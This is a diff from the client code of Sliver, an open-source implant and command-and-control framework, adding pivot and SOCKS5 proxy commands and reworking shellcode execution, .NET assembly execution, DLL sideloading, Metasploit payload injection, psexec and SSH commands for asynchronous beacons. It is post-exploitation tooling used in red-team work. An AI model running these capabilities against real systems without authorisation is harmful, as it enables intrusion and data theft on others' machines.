f.String("b", "bind", "", "remote interface to bind pivot listener")
f.Int("l", "lport", generate.DefaultTCPPivotPort, "tcp pivot listener port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.TCPListenerCmd(ctx, con)
pivots.StartTCPListenerCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
pivotsCmd.AddCommand(&grumble.Command{
Name: consts.StopStr,
Help: "Stop a pivot listener",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}),
Flags: func(f *grumble.Flags) {
f.Int("i", "id", 0, "id of the pivot listener to stop")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.StopPivotListenerCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
pivotsCmd.AddCommand(&grumble.Command{
Name: consts.DetailsStr,
Help: "Get details of a pivot listener",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}),
Flags: func(f *grumble.Flags) {
f.Int("i", "id", 0, "id of the pivot listener to stop")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.PivotDetailsCmd(ctx, con)
con.Println()
return nil
},
@@ -2182,6 +2326,58 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(portfwdCmd)
// [ Socks ] --------------------------------------------------------------
socksCmd := &grumble.Command{
Name: consts.Socks5Str,
Help: "In-band SOCKS5 Proxy",
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
socks.SocksCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
socksCmd.AddCommand(&grumble.Command{
Name: "add",
Help: "Create a new Socks5 Proxy",
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.String("H", "host", "127.0.0.1", "Bind a Socks5 Host")
f.String("P", "port", "1081", "Bind a Socks5 Port")
f.String("u", "user", "", "socks5 auth username (will generate random password)")
},
Run: func(ctx *grumble.Context) error {
con.Println()
socks.SocksAddCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
socksCmd.AddCommand(&grumble.Command{
Name: "rm",
Help: "Remove a Socks5 Proxy",
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
},
Run: func(ctx *grumble.Context) error {
con.Println()
socks.SocksRmCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(socksCmd)
// [ Monitor ] --------------------------------------------------------------
monitorCmd := &grumble.Command{
@@ -2306,9 +2502,9 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
})
lootCmd.AddCommand(&grumble.Command{
Name: consts.LootFetchStr,
Name: consts.FetchStr,
Help: "Fetch a piece of loot from the server's loot store",
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.LootFetchStr}),
LongHelp: help.GetHelpFor([]string{consts.LootStr, consts.FetchStr}),
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save loot to a local file")
f.String("f", "filter", "", "filter based on loot type")
-1
View File
@@ -46,7 +46,6 @@ func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -56,7 +56,6 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if envInfo.Response != nil && envInfo.Response.Async {
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, envInfo)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
-1
View File
@@ -52,7 +52,6 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if unsetResp.Response != nil && unsetResp.Response.Async {
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
con.PrintInfof("Task completed: %s\n\n", task.ID)
err = proto.Unmarshal(task.Response, unsetResp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
+53 -19
View File
@@ -3,14 +3,17 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -20,26 +23,27 @@ import (
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
filePath := ctx.Args.String("filepath")
assemblyPath := ctx.Args.String("filepath")
isDLL := false
if filepath.Ext(filePath) == ".dll" {
if filepath.Ext(assemblyPath) == ".dll" {
isDLL = true
}
if isDLL {
@@ -48,7 +52,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
}
assemblyBytes, err := ioutil.ReadFile(filePath)
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
@@ -59,7 +63,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
@@ -72,30 +76,50 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
con.PrintErrorf("%s", err)
return
}
hostname := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
}
}
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
if executeAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", executeAssembly.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(executeAssembly.GetOutput()))
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssembly.GetOutput())
outFilePath.Write(execAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
if ctx.Flags.Bool("loot") && 0 < len(executeAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(filePath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", executeAssembly.GetOutput(), false)
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
@@ -103,3 +127,13 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
}
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+32 -8
View File
@@ -29,20 +29,26 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
return
}
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
@@ -61,7 +67,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
task, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
@@ -73,11 +79,29 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("%s\n", err)
return
}
if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, shellcodeTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteShellcode(shellcodeTask, con)
})
con.PrintAsyncResponse(shellcodeTask.Response)
} else {
PrintExecuteShellcode(shellcodeTask, con)
}
}
// PrintExecuteShellcode - Display result of shellcode execution
func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
if task.Response.GetErr() != "" {
con.PrintErrorf("%s\n", task.Response.GetErr())
return
} else {
con.PrintInfof("Executed shellcode on target\n")
}
con.PrintInfof("Executed shellcode on target\n")
}
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
@@ -97,7 +121,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
})
if err != nil {
con.PrintErrorf("Error: %v\n", err)
con.PrintErrorf("%s\n", err)
return
}
@@ -111,7 +135,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
})
if err != nil {
con.PrintErrorf("Error: %v\n", err)
con.PrintErrorf("%s\n", err)
return
}
// Retrieve PID and start remote task
@@ -130,7 +154,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
con.PrintErrorf("%s\n", err)
return
}
+77 -33
View File
@@ -22,26 +22,33 @@ import (
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("silent")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
token := ctx.Flags.Bool("token")
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
token := ctx.Flags.Bool("token")
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
}
var exec *sliverpb.Execute
var err error
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
@@ -49,7 +56,7 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
@@ -58,42 +65,79 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
} else if !output {
combined := ""
if stdout == "" {
combined = exec.Stdout
con.PrintInfof("Output:\n%s", exec.Stdout)
} else {
con.PrintInfof("StdOut saved at %s\n", stdout)
}
if !ignoreStderr && stderr == "" {
combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
con.PrintInfof("StdErr:\n%s", exec.Stderr)
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
}
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
} else {
if ctx.Flags.Bool("loot") && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
return
}
if exec.Response != nil && exec.Response.Async {
con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, exec)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecute(exec, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
PrintExecute(exec, ctx, con)
}
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("output")
if !output {
if exec.Status == 0 {
con.PrintInfof("Command executed successfully\n")
} else {
con.PrintErrorf("Exit code %d\n", exec.Status)
}
return
}
combined := ""
if stdout == "" {
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
}
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
}
+21 -2
View File
@@ -25,6 +25,8 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
@@ -57,7 +59,7 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
@@ -70,7 +72,24 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
con.PrintInfof("Executed payload on target\n")
PrintMsfRemote(msfTask, con)
}
}
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
}
+4 -5
View File
@@ -21,7 +21,7 @@ package exec
import (
"context"
"fmt"
"math/rand"
insecureRand "math/rand"
"strings"
"time"
@@ -44,7 +44,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
hostname := ctx.Args.String("hostname")
if hostname == "" {
con.PrintWarnf("you need to provide a target host, see `help psexec` for examples")
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
return
}
profile := ctx.Flags.String("profile")
@@ -54,7 +54,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You might want to change that before going further...\n")
if !settings.IsUserAnAdult(con) {
return
@@ -160,10 +160,9 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
b := make([]byte, length)
for i := range b {
b[i] = charset[seededRand.Intn(len(charset))]
b[i] = charset[insecureRand.Intn(len(charset))]
}
return string(b)
}
+33 -5
View File
@@ -3,14 +3,17 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -20,19 +23,20 @@ import (
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSession()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -66,14 +70,38 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostname := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSideload(sideload, hostname, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
PrintSideload(sideload, hostname, ctx, con)
}
}
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", sideload.GetResponse().GetErr())
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
+33 -7
View File
@@ -5,18 +5,20 @@ import (
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSession()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
@@ -39,21 +41,45 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Request: con.ActiveTarget.Request(ctx),
Kill: !ctx.Flags.Bool("keep-alive"),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
con.PrintErrorf("%s\n", err)
return
}
ctrl <- true
<-ctrl
hostname := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSpawnDll(spawndll, hostname, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
PrintSpawnDll(spawndll, hostname, ctx, con)
}
}
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", spawndll.GetResponse().GetErr())
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
+28 -11
View File
@@ -11,6 +11,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
@@ -51,7 +52,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
commandResp, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
Username: username,
Hostname: hostname,
Port: uint32(port),
@@ -64,20 +65,36 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
if sshCmd.Response != nil && sshCmd.Response.Async {
con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sshCmd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSSHCmd(sshCmd, con)
})
con.PrintAsyncResponse(sshCmd.Response)
} else {
PrintSSHCmd(sshCmd, con)
}
}
if commandResp.Response != nil && commandResp.Response.Err != "" {
con.PrintErrorf("Error: %s\n", commandResp.Response.Err)
if commandResp.StdErr != "" {
con.PrintErrorf("StdErr: %s\n", commandResp.StdErr)
// PrintSSHCmd - Print the ssh command response
func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
if sshCmd.Response != nil && sshCmd.Response.Err != "" {
con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
if sshCmd.StdErr != "" {
con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
}
return
}
if commandResp.StdOut != "" {
con.PrintInfof("Output:")
con.Println(commandResp.StdOut)
if commandResp.StdErr != "" {
con.PrintInfof("StdErr")
con.Println(commandResp.StdErr)
if sshCmd.StdOut != "" {
con.PrintInfof("Output:\n")
con.Println(sshCmd.StdOut)
if sshCmd.StdErr != "" {
con.PrintInfof("StdErr:\n")
con.Println(sshCmd.StdErr)
}
}
}
+4 -66
View File
@@ -3,7 +3,6 @@ package extensions
import (
"bytes"
"context"
"encoding/binary"
"encoding/json"
"errors"
"fmt"
@@ -13,10 +12,9 @@ import (
"path/filepath"
"strings"
"golang.org/x/text/encoding/unicode"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
@@ -302,6 +300,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if err = loadExtension(ctx, session, con, &ext); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
@@ -378,7 +377,7 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
if err != nil {
return nil, err
}
argsBuffer := BOFArgsBuffer{
argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Parse BOF arguments from grumble
@@ -427,7 +426,7 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
return nil, err
}
// Now build the extension's argument buffer
extensionArgsBuffer := BOFArgsBuffer{
extensionArgsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
err = extensionArgsBuffer.AddString(ext.Entrypoint)
@@ -462,64 +461,3 @@ func cmdExists(name string, app *grumble.App) bool {
func init() {
commandMap = make(map[string]extensionCommand)
}
// BOF Specific code
type BOFArgsBuffer struct {
Buffer *bytes.Buffer
}
func (b *BOFArgsBuffer) AddData(d []byte) error {
dataLen := uint32(len(d))
err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddShort(d uint16) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddInt(d uint32) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddString(d string) error {
stringLen := uint32(len(d)) + 1
err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
dBytes := append([]byte(d), 0x00)
return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
}
func (b *BOFArgsBuffer) AddWString(d string) error {
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
strBytes := append([]byte(d), 0x00)
utf16Data, err := encoder.Bytes(strBytes)
if err != nil {
return err
}
stringLen := uint32(len(utf16Data))
err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
}
func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
outBuffer := new(bytes.Buffer)
